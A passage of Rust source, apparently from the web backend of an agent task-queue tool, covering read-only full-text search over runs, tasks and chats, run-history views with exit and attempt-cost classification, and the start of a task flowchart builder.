5431        // Matched only through a case mapping that changes length: show the head.
5432        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5433        return vec![SnippetPart {
5434            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5435            hit: false,
5436        }];
5437    };
5438    let lo = start.saturating_sub(SNIPPET_BEFORE);
5439    let hi = (start + SNIPPET_AFTER).min(chars.len());
5440    let mut parts: Vec<SnippetPart> = Vec::new();
5441    let mut push = |s: &[char], hit: bool| {
5442        if s.is_empty() {
5443            return;
5444        }
5445        let text: String = s.iter().collect();
5446        match parts.last_mut() {
5447            Some(p) if p.hit == hit => p.text.push_str(&text),
5448            _ => parts.push(SnippetPart { text, hit }),
5449        }
5450    };
5451    if lo > 0 {
5452        push(&['\u{2026}'], false);
5453    }
5454    let mut at = lo;
5455    while at < hi {
5456        match find(at, hi) {
5457            Some((s, e)) => {
5458                push(&chars[at..s], false);
5459                // A match running past the window is shown up to its edge.
5460                let shown = e.min(hi);
5461                push(&chars[s..shown], true);
5462                at = shown;
5463            }
5464            None => {
5465                push(&chars[at..hi], false);
5466                at = hi;
5467            }
5468        }
5469    }
5470    if hi < chars.len() {
5471        push(&['\u{2026}'], false);
5472    }
5473    // Collapse whitespace (newlines in an instruction) without disturbing the
5474    // hit boundaries.
5475    let mut prev_space = false;
5476    for p in &mut parts {
5477        let mut out = String::with_capacity(p.text.len());
5478        for c in p.text.chars() {
5479            if c.is_whitespace() {
5480                if !prev_space {
5481                    out.push(' ');
5482                }
5483                prev_space = true;
5484            } else {
5485                out.push(c);
5486                prev_space = false;
5487            }
5488        }
5489        p.text = out;
5490    }
5491    parts.retain(|p| !p.text.is_empty());
5492    parts
5493}
5494
5495/// The search over `docs` (id, document), newest first, capped.
5496fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5497where
5498    I: IntoIterator<Item = (String, serde_json::Value)>,
5499{
5500    for (id, doc) in docs {
5501        let mut leaves = Vec::new();
5502        // The id is text an operator types too, and it is a map key on disk,
5503        // not a leaf.
5504        leaves.push(("id", id.as_str()));
5505        text_leaves(&doc, "", &mut leaves);
5506        if let Some(mut hit) = search_document(terms, &leaves) {
5507            view.total += 1;
5508            if view.hits.len() < SEARCH_MAX_HITS {
5509                hit.id = id;
5510                view.hits.push(hit);
5511            }
5512        }
5513    }
5514    view.truncated = view.total > view.hits.len();
5515}
5516
5517/// What a conversation is searched by: its list title and each turn's text,
5518/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5519/// (session ids, repo paths, usage, drafts) is part of the document.
5520///
5521/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5522fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5523    let opener = talk
5524        .title
5525        .as_ref()
5526        .filter(|t| !t.text.is_empty())
5527        .map(|t| t.text.as_str())
5528        .or_else(|| {
5529            talk.turns
5530                .iter()
5531                .find(|t| t.who == talk::Who::Operator)
5532                .map(|t| t.body.as_str())
5533        })
5534        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5535        .unwrap_or("");
5536    let title: String = if opener.chars().count() > 96 {
5537        opener.chars().take(95).chain(['\u{2026}']).collect()
5538    } else {
5539        opener.to_owned()
5540    };
5541    let turns: Vec<serde_json::Value> = talk
5542        .turns
5543        .iter()
5544        .map(|t| {
5545            let who = match t.who {
5546                crate::talk::Who::Operator => "operator",
5547                crate::talk::Who::Agent => "agent",
5548            };
5549            serde_json::json!({ who: t.body })
5550        })
5551        .collect();
5552    serde_json::json!({ "title": title, "turns": turns })
5553}
5554
5555/// Read-only full-text search over every run's `run.json`, every task or every
5556/// conversation (title and transcript).
5557///
5558/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5559/// record from an older schema still searches; only a file that is not JSON
5560/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5561async fn search_get(
5562    State(ui): State<Arc<Ui>>,
5563    Query(q): Query<SearchQuery>,
5564) -> ApiResult<Json<SearchView>> {
5565    let query = q.q.trim().to_owned();
5566    if query.is_empty() {
5567        return Err(ApiError::bad_request("q must not be empty"));
5568    }
5569    if query.chars().count() > SEARCH_MAX_QUERY {
5570        return Err(ApiError::bad_request(format!(
5571            "q is longer than {SEARCH_MAX_QUERY} characters"
5572        )));
5573    }
5574    let terms = search_terms(&query);
5575    if terms.len() > SEARCH_MAX_TERMS {
5576        return Err(ApiError::bad_request(format!(
5577            "q has more than {SEARCH_MAX_TERMS} terms"
5578        )));
5579    }
5580    let scope = q.scope;
5581    if scope != "runs" && scope != "tasks" && scope != "chats" {
5582        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5583    }
5584    blocking(move || {
5585        let mut view = SearchView {
5586            scope: scope.clone(),
5587            q: query,
5588            hits: Vec::new(),
5589            total: 0,
5590            truncated: false,
5591            unreadable: 0,
5592        };
5593        if scope == "runs" {
5594            let mut unreadable = 0;
5595            // One run.json is read, matched and dropped at a time; nothing
5596            // holds the whole history. The scan runs to the end even past the
5597            // hit cap so `total` and `unreadable` stay exact.
5598            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5599                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5600                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5601                    Some(v) => Some((id, v)),
5602                    None => {
5603                        unreadable += 1;
5604                        None
5605                    }
5606                }
5607            });
5608            search_docs(&terms, docs, &mut view);
5609            view.unreadable = unreadable;
5610            // Only the capped hits get a row: the filters need a run's state,
5611            // and reading every match would be the whole history again.
5612            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5613            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5614            for hit in &mut view.hits {
5615                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5616                    hit.run = summarize(
5617                        [state],
5618                        &open_runs,
5619                        &claimed,
5620                        &superseded,
5621                        |p| probe.borrow_mut().status(p),
5622                        |p| probe.borrow_mut().started_at(p),
5623                    )
5624                    .pop();
5625                }
5626            }
5627        } else if scope == "chats" {
5628            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5629            view.unreadable = unreadable;
5630            search_docs(
5631                &terms,
5632                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5633                &mut view,
5634            );
5635        } else {
5636            let docs = ui.queue.list().into_iter().filter_map(|t| {
5637                let mut v = serde_json::to_value(&t).ok()?;
5638                // `source` serialises as a tagged object; the label is what
5639                // the operator reads ("human", "chat@a1b2").
5640                if let Some(o) = v.as_object_mut() {
5641                    o.insert("filed_by".to_owned(), t.source.label().into());
5642                }
5643                Some((t.id, v))
5644            });
5645            search_docs(&terms, docs, &mut view);
5646        }
5647        Ok(Json(view))
5648    })
5649    .await
5650}
5651
5652/// One attempt in a task's history, as the task page lists it.
5653#[derive(Debug, Serialize)]
5654struct TaskRunView {
5655    /// 1-based position in [`Task::runs`].
5656    n: usize,
5657    id: String,
5658    short: String,
5659    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5660    kind: &'static str,
5661    /// The run's own status string; `None` when its record cannot be read.
5662    status: Option<&'static str>,
5663    /// Whether this build could read the run's record. Counted, never hidden.
5664    readable: bool,
5665    /// A verdict from a collapsed panel is provisional, never a decision.
5666    provisional: bool,
5667    /// What kind of attempt this was, in one line.
5668    description: String,
5669    /// How it ended and why the task moved on (or what it is doing now).
5670    outcome: String,
5671    created_at: Option<Timestamp>,
5672    pr: Option<String>,
5673    /// Why this pass ended, classified once; the flowchart is built from it.
5674    exit: RunExit,
5675    /// What the pass did to the task's attempt budget.
5676    attempt: AttemptCost,
5677    /// Edge wording for leaving this entry; names the recorded cause when
5678    /// there is one.
5679    exit_label: String,
5680    /// The position of a later entry for the same run: this entry is an
5681    /// earlier pass of it.
5682    later_pass: Option<usize>,
5683    /// Which pass over the run this entry is (1-based) and how many entries
5684    /// the task lists for the run. Counted from the list, so known even for
5685    /// a legacy record.
5686    pass_n: usize,
5687    passes_of_run: usize,
5688    /// What the run recorded about this pass; `None` for a record from before
5689    /// passes were kept, whose cause stays unknown.
5690    pass: Option<PassView>,
5691    /// The branch a review-only run reopened.
5692    branch: Option<String>,
5693    /// The badge word when it differs from `status` (`stale` / `superseded`);
5694    /// filled by the task route, which can see liveness and later attempts.
5695    badge: Option<String>,
5696}
5697
5698/// One recorded pass over a run, for the wire.
5699#[derive(Debug, Clone, PartialEq, Serialize)]
5700struct PassView {
5701    index: usize,
5702    resumed: bool,
5703    started_at: Timestamp,
5704    ended_at: Option<Timestamp>,
5705    /// `open`, `parked` or `unrecorded`.
5706    end: &'static str,
5707    cause: Option<crate::run::ParkCause>,
5708    /// One line: why it stopped, or that nobody recorded why.
5709    label: String,
5710    /// What the task recorded for this pass; `None` when it was not settled
5711    /// (or settled by a build that kept no record).
5712    cost: Option<crate::queue::PassCost>,
5713}
5714
5715impl PassView {
5716    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5717        use crate::run::PassEnd;
5718        let (end, cause, label) = match &p.end {
5719            None => ("open", None, "still open".to_owned()),
5720            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5721            Some(PassEnd::Unrecorded) => (
5722                "unrecorded",
5723                None,
5724                "stopped without recording why (a crash, a kill or a restart; not known)"
5725                    .to_owned(),
5726            ),
5727        };
5728        Self {
5729            index: p.index,
5730            resumed: p.resumed,
5731            started_at: p.started_at,
5732            ended_at: p.ended_at,
5733            end,
5734            cause,
5735            label,
5736            cost: settled.map(|t| t.cost),
5737        }
5738    }
5739}
5740
5741/// How one pass over a run ended, as far as the task's life is concerned.
5742#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5743#[serde(rename_all = "snake_case")]
5744enum RunExit {
5745    Unreadable,
5746    /// An earlier pass of a run id that appears again: it stopped short.
5747    Interrupted,
5748    Parked,
5749    QuotaStall,
5750    /// Stalled on a resumed pass with quota losses on record: they may be
5751    /// left over from an earlier pass, so whether this one was refunded is
5752    /// not knowable.
5753    ResumedQuotaStall,
5754    Merged,
5755    Ready,
5756    Superseded,
5757    /// The change was already on the base under other commits: the task
5758    /// finished without this run landing anything.
5759    AlreadyInBase,
5760    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5761    Stalled,
5762    /// Blocked / no-op with a pull request left open: held for a person.
5763    HeldWithPr,
5764    NoopHeld,
5765    /// Blocked or failed: the attempt is spent and the task retries or holds.
5766    Spent,
5767    InProgress,
5768}
5769
5770#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5771#[serde(rename_all = "snake_case")]
5772enum AttemptCost {
5773    Spent,
5774    Refunded,
5775    None,
5776    /// Cannot be told from the records that remain.
5777    Unknown,
5778}
5779
5780impl RunExit {
5781    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5782        let Some(s) = s else {
5783            return Self::Unreadable;
5784        };
5785        let status = s.status;
5786        if resumed_later {
5787            Self::Interrupted
5788        } else if s.parked {
5789            Self::Parked
5790        } else if !status.done() {
5791            Self::InProgress
5792        } else if matches!(status, RunStatus::Merged) {
5793            Self::Merged
5794        } else if matches!(status, RunStatus::Ready) {
5795            Self::Ready
5796        } else if matches!(status, RunStatus::Superseded) {
5797            Self::Superseded
5798        } else if matches!(status, RunStatus::AlreadyInBase) {
5799            Self::AlreadyInBase
5800        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5801            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5802        {
5803            if resumed {
5804                Self::ResumedQuotaStall
5805            } else {
5806                Self::QuotaStall
5807            }
5808        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5809            Self::HeldWithPr
5810        } else if matches!(status, RunStatus::VerifiedNoop) {
5811            Self::NoopHeld
5812        } else if matches!(status, RunStatus::Stalled) {
5813            Self::Stalled
5814        } else {
5815            Self::Spent
5816        }
5817    }
5818
5819    fn cost(self) -> AttemptCost {
5820        match self {
5821            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5822            Self::Merged
5823            | Self::Ready
5824            | Self::Stalled
5825            | Self::HeldWithPr
5826            | Self::NoopHeld
5827            | Self::Spent => AttemptCost::Spent,
5828            Self::InProgress => AttemptCost::None,
5829            Self::AlreadyInBase => AttemptCost::Refunded,
5830            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5831                AttemptCost::Unknown
5832            }
5833        }
5834    }
5835
5836    /// Short edge wording for leaving a run this way.
5837    fn edge_label(self, status: Option<&str>) -> String {
5838        match self {
5839            Self::Unreadable => "record unreadable".to_owned(),
5840            Self::Interrupted => "interrupted before the run finished".to_owned(),
5841            Self::Parked => "parked, attempt refunded".to_owned(),
5842            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5843            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5844            Self::Merged => "merged".to_owned(),
5845            Self::Ready => "ready, not merged".to_owned(),
5846            Self::Superseded => "superseded by a later attempt".to_owned(),
5847            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5848            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5849            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5850            Self::NoopHeld => "verified no-op".to_owned(),
5851            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5852            Self::InProgress => "in progress".to_owned(),
5853        }
5854    }
5855
5856    /// Does a task in `end` follow from a run that ended this way? When not,
5857    /// somebody closed or held the task by hand.
5858    fn explains(self, end: TaskStatus) -> bool {
5859        match self {
5860            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5861            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5862            Self::Unreadable | Self::Superseded | Self::Ready => true,
5863            _ => end != TaskStatus::Done,
5864        }
5865    }
5866}
5867
5868/// `GET /api/queue/{id}` - one task with every attempt it went through.
5869#[derive(Debug, Serialize)]
5870struct TaskDetailView {
5871    #[serde(flatten)]
5872    task: TaskView,
5873    /// Task override, or the default daemon budget when inherited.
5874    /// A separate loop's command-line limit is not visible from here.
5875    max_attempts: usize,
5876    history: Vec<TaskRunView>,
5877    /// Entries in `history`: passes over runs, not distinct runs and not
5878    /// attempts consumed (`task.attempts`).
5879    passes_total: usize,
5880    /// Distinct runs those passes belong to.
5881    runs_distinct: usize,
5882    flow: FlowView,
5883    /// Set for a follow-up task; see [`followup_origin`].
5884    followup_origin: Option<FollowUpOrigin>,
5885    /// How many entries of `history` could not be read.
5886    runs_unreadable: usize,
5887    /// Why the attempt count can be lower than the number of runs.
5888    attempts_note: &'static str,
5889}
5890
5891const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5892and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5893on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5894the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5895
5896/// The branch a review-only run reopened, read off the instruction
5897/// `Runner::open_review` writes.
5898fn review_branch_of(instruction: &str) -> Option<&str> {
5899    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5900    rest.split('`').next().filter(|b| !b.is_empty())
5901}
5902
5903/// Where an entry sits in a task's run list.
5904#[derive(Default)]
5905struct RunSlot<'a> {
5906    /// 1-based position.
5907    n: usize,
5908    /// The same run id appeared earlier: this pass resumed it.
5909    resumed: bool,
5910    /// Position of a later pass over the same run id, if any.
5911    resumed_later: Option<usize>,
5912    /// The previous distinct run and how it ended, for the retry note.
5913    prior: Option<(&'a str, RunStatus)>,
5914    last: bool,
5915    /// This pass as the run recorded it, when it did.
5916    pass: Option<&'a crate::run::RunPass>,
5917    /// What the task recorded when it settled this pass.
5918    settled: Option<&'a crate::queue::TaskPass>,
5919    /// 1-based position among the task's entries for this run, and their count.
5920    pass_n: usize,
5921    passes_of_run: usize,
5922}
5923
5924/// Describe one entry of a task's run list. Pure: everything it needs is on
5925/// the run and the task, so it is asserted without a server.
5926fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5927    let RunSlot {
5928        n,
5929        resumed,
5930        resumed_later,
5931        prior,
5932        last,
5933        pass,
5934        settled,
5935        pass_n,
5936        passes_of_run,
5937    } = at;
5938    let short = run::short_of(id).to_owned();
5939    let Some(s) = state else {
5940        return TaskRunView {
5941            n,
5942            id: id.to_owned(),
5943            short,
5944            kind: "unknown",
5945            status: None,
5946            readable: false,
5947            provisional: false,
5948            description:
5949                "This run's record could not be read by this build (written by a different \
5950                          magi, or removed), so what kind of attempt it was is unknown."
5951                    .to_owned(),
5952            outcome: String::new(),
5953            created_at: None,
5954            pr: None,
5955            exit: RunExit::Unreadable,
5956            attempt: AttemptCost::Unknown,
5957            exit_label: RunExit::Unreadable.edge_label(None),
5958            later_pass: resumed_later,
5959            pass_n,
5960            passes_of_run,
5961            pass: None,
5962            branch: None,
5963            badge: None,
5964        };
5965    };
5966    let branch = review_branch_of(&s.instruction);
5967    let kind = if resumed {
5968        "resume"
5969    } else if branch.is_some() {
5970        "review"
5971    } else if task.solo || s.candidates.len() == 1 {
5972        "solo"
5973    } else {
5974        "competition"
5975    };
5976    let mut description = match kind {
5977        "resume" => {
5978            format!("Resumed run {short}: the same run carried on instead of competing again.")
5979        }
5980        "review" => format!(
5981            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5982            branch.unwrap_or_default()
5983        ),
5984        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5985        _ => format!(
5986            "Competition: {} candidates judged blind.",
5987            s.candidates.len().max(1)
5988        ),
5989    };
5990    if !resumed && let Some((p, st)) = prior {
5991        description.push_str(&format!(
5992            " A retry: run {p} before it ended {}.",
5993            st.display_label()
5994        ));
5995    }
5996
5997    let status = s.status;
5998    let provisional = matches!(status, RunStatus::Stalled)
5999        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6000    let head = if resumed_later.is_some() {
6001        String::new()
6002    } else {
6003        match status {
6004            RunStatus::Merged => "Merged.".to_owned(),
6005            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6006            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6007            RunStatus::AlreadyInBase => {
6008                "Already in the base: this change landed under other commits, nothing was left to land."
6009                    .to_owned()
6010            }
6011            RunStatus::Stalled => {
6012                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6013                    .to_owned()
6014            }
6015            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6016            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6017            RunStatus::VerifiedNoop => {
6018                "Verified no-op: the candidates found nothing to change.".to_owned()
6019            }
6020            other if other.done() => format!("Ended {}.", other.display_label()),
6021            other => format!("In progress ({}).", other.display_label()),
6022        }
6023    };
6024    let view = pass.map(|p| PassView::of(p, settled));
6025    let recorded_end = view
6026        .as_ref()
6027        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6028    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6029        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6030        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6031        None => "whether its attempt was handed back was not recorded",
6032    };
6033    let pass_note = if passes_of_run > 1 {
6034        format!(
6035            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6036        )
6037    } else {
6038        String::new()
6039    };
6040    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6041        // The run recorded this pass's end when it happened.
6042        let cause = match v.end {
6043            "parked" => format!("It was stopped on purpose: {}.", v.label),
6044            _ => format!("It {}.", v.label),
6045        };
6046        format!(
6047            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6048            capitalise(cost_words)
6049        )
6050    } else if let Some(k) = resumed_later {
6051        // A run is only picked up again while it is unfinished, so an earlier
6052        // pass of a repeated id stopped short; the record keeps only the run's
6053        // latest status, which is left to the pass that carried it on.
6054        // Only the latest state is recorded: `parked` is cleared on resume
6055        // and `quota` accumulates across passes, so neither says why *this*
6056        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6057        let cause = if s.quota.is_empty() {
6058            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6059        } else {
6060            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6061        };
6062        format!(
6063            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6064        )
6065    } else if s.parked {
6066        match recorded_end.and_then(|v| v.cause.as_ref()) {
6067            Some(cause) => format!(
6068                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6069                cause.label(),
6070                cost_words
6071            ),
6072            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6073                .to_owned(),
6074        }
6075    } else if !status.done()
6076        || matches!(
6077            status,
6078            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6079        )
6080    {
6081        String::new()
6082    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6083        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6084    {
6085        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6086            .to_owned()
6087    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6088        " It left a pull request open, so the task was held for a person rather than retried."
6089            .to_owned()
6090    } else if matches!(status, RunStatus::VerifiedNoop) {
6091        " Held for a person to check the claim.".to_owned()
6092    } else if last {
6093        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6094    } else {
6095        " It spent an attempt, and the task moved on to the next run.".to_owned()
6096    };
6097    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6098    let mut attempt = exit.cost();
6099    let mut exit_label = None;
6100    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6101        let spent = match v.cost {
6102            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6103            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6104            None if resumed_later.is_some() => ", refund not recorded",
6105            None => ", attempt refunded",
6106        };
6107        attempt = match v.cost {
6108            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6109            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6110            None if resumed_later.is_some() => AttemptCost::Unknown,
6111            None => attempt,
6112        };
6113        if v.end == "parked" {
6114            exit = RunExit::Parked;
6115            exit_label = Some(match v.cause.as_ref() {
6116                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6117                    format!("parked for {}{spent}", c.label())
6118                }
6119                Some(c) => format!("parked ({}){spent}", c.label()),
6120                None => format!("parked{spent}"),
6121            });
6122        } else {
6123            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6124        }
6125    }
6126    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6127    TaskRunView {
6128        n,
6129        id: id.to_owned(),
6130        short,
6131        kind,
6132        status: Some(status.as_str()),
6133        readable: true,
6134        provisional,
6135        description,
6136        outcome: format!("{head}{why}"),
6137        created_at: Some(s.created_at),
6138        pr: s.pr.as_ref().map(|p| p.url.clone()),
6139        exit,
6140        attempt,
6141        exit_label,
6142        later_pass: resumed_later,
6143        pass_n,
6144        passes_of_run,
6145        pass: view,
6146        branch: branch.map(str::to_owned),
6147        badge: None,
6148    }
6149}
6150
6151fn capitalise(s: &str) -> String {
6152    let mut c = s.chars();
6153    c.next().map_or_else(String::new, |f| {
6154        f.to_uppercase().collect::<String>() + c.as_str()
6155    })
6156}
6157
6158/// One box of the task's flowchart.
6159#[derive(Debug, Serialize, PartialEq)]
6160struct FlowNode {
6161    /// Unique by position: a resumed run id appears once per pass.
6162    key: String,
6163    /// `chat`, `followup`, `start`, `run` or `end`.
6164    kind: &'static str,
6165    label: String,
6166    /// Run status (or the task's, for `end`); `None` when it is not a fact
6167    /// about this box (unreadable, or a pass the run later resumed from).
6168    status: Option<&'static str>,
6169    /// Whose status `status` is, so the client picks the right colour table:
6170    /// `task` (the `followup` parent and `end`) or `run`.
6171    status_of: &'static str,
6172    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6173    note: Option<&'static str>,
6174    run_kind: Option<&'static str>,
6175    detail: Option<String>,
6176    /// A readable run with a real verdict; a stall never is.
6177    decided: bool,
6178    readable: bool,
6179    href: Option<String>,
6180    /// Overrides `status` as the badge word (`stale` / `superseded`).
6181    badge: Option<String>,
6182    /// Start of this entry, never the run's latest update or pass settlement.
6183    started_at: Option<Timestamp>,
6184    /// Context links (chat / follow-up) do not represent execution entries.
6185    time_expected: bool,
6186}
6187
6188#[derive(Debug, Serialize, PartialEq)]
6189struct FlowEdge {
6190    from: String,
6191    to: String,
6192    label: String,
6193    attempt: AttemptCost,
6194}
6195
6196#[derive(Debug, Serialize, PartialEq)]
6197struct FlowView {
6198    nodes: Vec<FlowNode>,
6199    edges: Vec<FlowEdge>,
6200    /// Attempts the task has counted since it was last released.
6201    attempts: usize,
6202    max_attempts: usize,
6203    /// Entries in the run list (passes), and how many distinct runs they are.
6204    /// Neither is the number of attempts consumed.
6205    passes: usize,
6206    runs: usize,
6207}
6208
6209/// Turn a task and its described runs into the flowchart's boxes and arrows.
6210/// Pure: the page only draws what this returns.
6211///
6212/// A follow-up opens with its parent (or the merged run) unless the task's
6213/// *source* is itself a chat, in which case the chat stays first and the
6214/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6215/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6216/// two normally do not coincide and the nearer origin wins.
6217fn task_flow(
6218    task: &Task,
6219    history: &[TaskRunView],
6220    max_attempts: usize,
6221    origin: Option<&FollowUpOrigin>,
6222) -> FlowView {
6223    let max_attempts = task.effective_attempt_limit(max_attempts);
6224    let node = |key: &str, kind, label: String| FlowNode {
6225        key: key.to_owned(),
6226        kind,
6227        label,
6228        status: None,
6229        status_of: "run",
6230        note: None,
6231        run_kind: None,
6232        detail: None,
6233        decided: false,
6234        readable: true,
6235        href: None,
6236        badge: None,
6237        started_at: None,
6238        time_expected: matches!(kind, "start" | "run" | "end"),
6239    };
6240    let mut nodes = Vec::new();
6241    let mut edges: Vec<FlowEdge> = Vec::new();
6242    // A task queued from a chat opens the flow with that conversation.
6243    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6244        let mut n = node(
6245            "chat",
6246            "chat",
6247            format!("Chat {}", crate::queue::short(&link.id)),
6248        );
6249        n.href = Some(link.href);
6250        nodes.push(n);
6251        edges.push(FlowEdge {
6252            from: "chat".to_owned(),
6253            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6254            label: "queued from chat".to_owned(),
6255            attempt: AttemptCost::None,
6256        });
6257    }
6258    if let Some(o) = origin {
6259        let mut n = match &o.parent {
6260            Some(p) => {
6261                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6262                n.status = Some(p.status);
6263                n.status_of = "task";
6264                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6265                n.href = Some(p.href.clone());
6266                n
6267            }
6268            None => {
6269                let mut n = node(
6270                    "origin",
6271                    "followup",
6272                    format!("Follow-up of run {}", o.run.short),
6273                );
6274                n.detail = Some("merged run".to_owned());
6275                n.status = o.run.status;
6276                n.href = o.run.href.clone();
6277                if o.run.href.is_none() {
6278                    n.readable = false;
6279                    n.note = Some("unreadable");
6280                }
6281                n
6282            }
6283        };
6284        n.decided = true;
6285        let from = n.key.clone();
6286        nodes.push(n);
6287        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6288        let more = o.findings.len().saturating_sub(shown.len());
6289        let label = match (shown.is_empty(), more) {
6290            (true, _) => "open findings".to_owned(),
6291            (false, 0) => format!("open findings {}", shown.join(", ")),
6292            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6293        };
6294        edges.push(FlowEdge {
6295            from,
6296            to: "start".to_owned(),
6297            label,
6298            attempt: AttemptCost::None,
6299        });
6300    }
6301    let mut start = node("start", "start", "Task queued".to_owned());
6302    start.started_at = Some(task.created_at);
6303    nodes.push(start);
6304    let mut prev = "start".to_owned();
6305    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6306    for (i, h) in history.iter().enumerate() {
6307        let key = format!("run-{}", h.n);
6308        let mut n = node(&key, "run", format!("Run {}", h.short));
6309        // Creation marks only the first pass of legacy runs. A resumed pass
6310        // without a record must not inherit the original run's start time.
6311        n.started_at = h
6312            .readable
6313            .then(|| {
6314                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6315                    h.created_at
6316                } else {
6317                    None
6318                })
6319            })
6320            .flatten();
6321        n.run_kind = Some(h.kind);
6322        n.readable = h.readable;
6323        n.href = Some(format!("#/runs/{}", h.id));
6324        n.decided = h.readable && !h.provisional;
6325        n.detail = h
6326            .branch
6327            .as_ref()
6328            .map(|b| format!("review-only run of branch {b}"));
6329        match h.exit {
6330            RunExit::Unreadable => n.note = Some("unreadable"),
6331            RunExit::Interrupted => n.note = Some("interrupted"),
6332            // An earlier pass the run recorded as parked: the status shown
6333            // would be the run's current one, not this pass's.
6334            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6335            _ => {
6336                n.status = h.status;
6337                n.badge = h.badge.clone();
6338                if h.provisional {
6339                    n.note = Some("no verdict");
6340                }
6341            }
6342        }
6343        let into = match h.kind {
6344            "review" => Some(format!(
6345                "review-only run of branch {}",
6346                h.branch.as_deref().unwrap_or("?")
6347            )),
6348            "resume" => Some("resume the same run".to_owned()),
6349            _ if i > 0 => Some("retry".to_owned()),
6350            _ => None,
6351        };
